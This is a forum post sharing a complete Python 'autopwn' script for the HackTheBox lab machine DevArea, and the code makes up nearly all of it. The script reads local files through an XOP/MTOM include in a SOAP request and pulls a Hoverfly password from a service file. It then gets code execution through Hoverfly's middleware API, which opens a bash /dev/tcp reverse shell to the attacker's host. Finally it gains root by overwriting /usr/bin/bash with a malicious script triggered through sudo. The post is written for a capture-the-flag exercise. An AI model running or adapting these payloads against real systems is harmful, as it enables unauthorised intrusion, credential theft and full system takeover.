[jasonm]

An autopwn script to solve the latest HTB seasonal machine DevArea (Medium Linux)

Usage: [COLOR=rgb(226, 80, 65)]python3 autopwn.py 10.129.xx.xxx 10.10.xx.xx[/COLOR]


[CODE=python]#!/usr/bin/env python3
"""
DevArea HTB - Autopwn
User: LFI (XOP/MTOM) -> Hoverfly creds -> RCE via middleware
Root: bash world-writable + sudo syswatch.sh
"""

import sys
import time
import socket
import threading
import requests
import argparse

# ── colours ──────────────────────────────────────────────────────────────────
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[94m"; W = "\033[0m"
def ok(m): print(f"{G}[+]{W} {m}")
def info(m): print(f"{B}[*]{W} {m}")
def err(m): print(f"{R}[-]{W} {m}"); sys.exit(1)
def warn(m): print(f"{Y}[!]{W} {m}")

# ── LFI via XOP Include (MTOM) ───────────────────────────────────────────────
MTOM_TMPL = """\
--MIMEBoundary\r
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r
Content-Transfer-Encoding: 8bit\r
Content-ID: <[email protected]>\r
\r
<?xml version="1.0"?>
<soap:Envelope xmlnsoap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://devarea.htb/">
<soap:Body><tnsubmitReport><arg0><confidential>false</confidential><content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file://{path}"/></content><department>x</department><employeeName>x</employeeName></arg0></tnsubmitReport></soap:Body>
</soap:Envelope>\r
--MIMEBoundary--"""

def lfi_read(target: str, path: str) -> str:
body = MTOM_TMPL.format(path=path).encode()
headers = {
"Content-Type": 'multipart/related; type="application/xop+xml"; '
'boundary="MIMEBoundary"; start="<[email protected]>"; '
'start-info="text/xml"',
"Content-Length": str(len(body)),
}
r = requests.post(f"http://{target}:8080/employeeservice", headers=headers,
data=body, timeout=10)
import re, base64
m = re.search(r"Content: ([A-Za-z0-9+/=]+)</return>", r.text)
if not m or not m.group(1):
return ""
try:
return base64.b64decode(m.group(1)).decode(errors="replace")
except Exception:
return ""

# ── Hoverfly auth ─────────────────────────────────────────────────────────────
def hoverfly_login(target: str, password: str) -> str:
r = requests.post(f"http://{target}:8888/api/token-auth",
json={"username": "admin", "password": password}, timeout=10)
if r.status_code != 200:
err(f"Hoverfly auth failed ({r.status_code})")
token = r.json().get("token", "")
ok(f"JWT token obtained: {token[:40]}...")
return token

# ── RCE via middleware ────────────────────────────────────────────────────────
def trigger_revshell(target: str, token: str, lhost: str, lport: int):
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
payload = {
"binary": "/bin/bash",
"script": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &"
}
try:
requests.put(f"http://{target}:8888/api/v2/hoverfly/middleware",
headers=headers, json=payload, timeout=8)
except requests.exceptions.ReadTimeout:
pass # expected — shell launched in background

# ── pwncat handler ────────────────────────────────────────────────────────────
def pwncat_listen(lport: int, privesc_cmds: list):
"""
Minimal pwncat-cs integration: connect listener, run privesc commands,
then drop into interactive mode.
"""
import pwncat
from pwncat.manager import Manager

info(f"Starting pwncat listener on port {lport}...")
with Manager() as manager:
session = manager.listen(
protocol="connect",
host="0.0.0.0",
port=lport,
platform="linux",
)
ok("Shell received!")

# run privesc commands
with manager.open_session(session):
for cmd in privesc_cmds:
info(f"Running: {cmd}")
result = session.platform.run(cmd, capture_output=True, text=True)
if result.stdout:
print(result.stdout.strip())

# drop to interactive
manager.interactive()

# ── privesc commands ──────────────────────────────────────────────────────────
def build_privesc(lhost: str, lport2: int) -> list:
return [
"cp /bin/bash /tmp/bash.bak",
# write malicious bash via python3 (no shell needed)
(
"python3 -c \""
"open('/usr/bin/bash','wb').write("
"b'#!/tmp/bash.bak\\n"
f"bash -i >& /dev/tcp/{lhost}/{lport2} 0>&1 &\\n"
"cp /tmp/bash.bak /usr/bin/bash\\n"
"exec /tmp/bash.bak \\\"\\$@\\\"\\n"
"')\""
),
"chmod +x /usr/bin/bash",
# kill bash so kernel releases the lock, then sudo triggers root shell
f"(/bin/dash -c 'killall -9 bash; sleep 1; sudo /opt/syswatch/syswatch.sh --version') &",
]

# ── simple TCP listener (fallback without pwncat) ────────────────────────────
def simple_listener(lport: int, label: str = "shell"):
info(f"Waiting for {label} on port {lport}...")
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", lport))
srv.listen(1)
conn, addr = srv.accept()
ok(f"Connection from {addr}")
return conn, srv

def interactive(conn: socket.socket):
"""Bidirectional interactive shell."""
import select, termios, tty, os

old = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
while True:
r, _, _ = select.select([conn, sys.stdin], [], [], 0.1)
if conn in r:
data = conn.recv(4096)
if not data:
break
sys.stdout.buffer.write(data)
sys.stdout.buffer.flush()
if sys.stdin in r:
data = os.read(sys.stdin.fileno(), 1024)
if not data:
break
conn.send(data)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old)

# ── main ──────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description="DevArea HTB autopwn")
parser.add_argument("target", help="Target IP (e.g. 10.129.15.230)")
parser.add_argument("lhost", help="Your IP for reverse shells")
parser.add_argument("--lport", type=int, default=4444, help="Port for user shell (default 4444)")
parser.add_argument("--lport2", type=int, default=4445, help="Port for root shell (default 4445)")
parser.add_argument("--no-pwncat", action="store_true", default=True, help="Use raw socket instead of pwncat (default)")
args = parser.parse_args()

print(f"""
{R}██████╗ ███████╗██╗ ██╗ █████╗ ██████╗ ███████╗ █████╗ {W}
{R}██╔══██╗██╔════╝██║ ██║██╔══██╗██╔══██╗██╔════╝██╔══██╗{W}
{R}██║ ██║█████╗ ██║ ██║███████║██████╔╝█████╗ ███████║{W}
{R}██║ ██║██╔══╝ ╚██╗ ██╔╝██╔══██║██╔══██╗██╔══╝ ██╔══██║{W}
{R}██████╔╝███████╗ ╚████╔╝ ██║ ██║██║ ██║███████╗██║ ██║{W}
{R}╚═════╝ ╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝{W}
HTB DevArea - Autopwn
""")

target = args.target
lhost = args.lhost
lport = args.lport
lport2 = args.lport2

# ── Step 1: LFI → Hoverfly credentials ───────────────────────────────────
info("Step 1: LFI via XOP/MTOM → reading Hoverfly service file...")
svc = lfi_read(target, "/etc/systemd/system/hoverfly.service")
if not svc:
err("LFI failed — check target and port 8080")

import re
m = re.search(r"-password\s+(\S+)", svc)
if not m:
err("Could not extract password from service file")
password = m.group(1)
ok(f"Hoverfly password: {password}")

# ── Step 2: Authenticate to Hoverfly ─────────────────────────────────────
info("Step 2: Authenticating to Hoverfly...")
token = hoverfly_login(target, password)

# ── Step 3: User shell via middleware RCE ─────────────────────────────────
info(f"Step 3: Triggering reverse shell → {lhost}:{lport}")

if True: # pwncat incompatible with Python 3.14, always use raw socket
# start listener in thread, then trigger
conn_holder = {}
def _listen():
conn, srv = simple_listener(lport, "user shell")
conn_holder["conn"] = conn
conn_holder["srv"] = srv

t = threading.Thread(target=_listen, daemon=True)
t.start()
time.sleep(2) # wait for listener to be ready
trigger_revshell(target, token, lhost, lport)
t.join(timeout=20)

if "conn" not in conn_holder:
err("No connection received")

conn = conn_holder["conn"]
ok("User shell received!")

# ── Step 4: Privesc ───────────────────────────────────────────────────
info("Step 4: Privilege escalation...")

# start root listener
root_conn_holder = {}
def _root_listen():
c, s = simple_listener(lport2, "ROOT shell")
root_conn_holder["conn"] = c
root_conn_holder["srv"] = s

rt = threading.Thread(target=_root_listen, daemon=True)
rt.start()
time.sleep(1)

# Build evil script content and hex-encode to avoid bash special chars
evil_content = (
b"#!/tmp/bash.bak\n"
+ f"bash -i >& /dev/tcp/{lhost}/{lport2} 0>&1 &\n".encode()
+ b"cp /tmp/bash.bak /usr/bin/bash\n"
+ b"exec /tmp/bash.bak \"$@\"\n"
)
hex_str = evil_content.hex()

privesc = [
b"cp /bin/bash /tmp/bash.bak\n",
# write evil script to /tmp (no ETXTBSY issue)
f"python3 -c \"import binascii; open('/tmp/evil_bash','wb').write(binascii.unhexlify('{hex_str}'))\"\n".encode(),
b"chmod +x /tmp/evil_bash\n",
# dash: killall bash, copy evil_bash -> /usr/bin/bash, trigger sudo
b"/bin/dash -c 'killall -9 bash; sleep 2; cp /tmp/evil_bash /usr/bin/bash; sudo /opt/syswatch/syswatch.sh --version' &\n",
]

for cmd in privesc:
info(f" > {cmd.decode().strip()}")
conn.send(cmd)
time.sleep(1.5)

rt.join(timeout=20)

if "conn" not in root_conn_holder:
warn("Root shell not received — dropping to user shell instead")
ok("Dropping into user shell (interactive)...")
interactive(conn)
else:
ok("ROOT shell received!")
root_conn = root_conn_holder["conn"]
root_conn.send(b"id\n")
time.sleep(0.5)
# Read both flags
root_conn.send(b"echo '=== USER FLAG ===' && find /home -name user.txt 2>/dev/null -exec cat {} \\;\n")
time.sleep(0.5)
root_conn.send(b"echo '=== ROOT FLAG ===' && cat /root/root.txt\n")
time.sleep(1)
data = root_conn.recv(4096)
output = data.decode(errors="replace")
print(output)
# Parse and highlight flags
import re
for line in output.splitlines():
if re.match(r'^[a-f0-9]{32}$', line.strip()):
print(f"{G}[FLAG]{W} {line.strip()}")
ok("Dropping into ROOT shell (interactive)...")
interactive(root_conn)




if __name__ == "__main__":
main()[/CODE]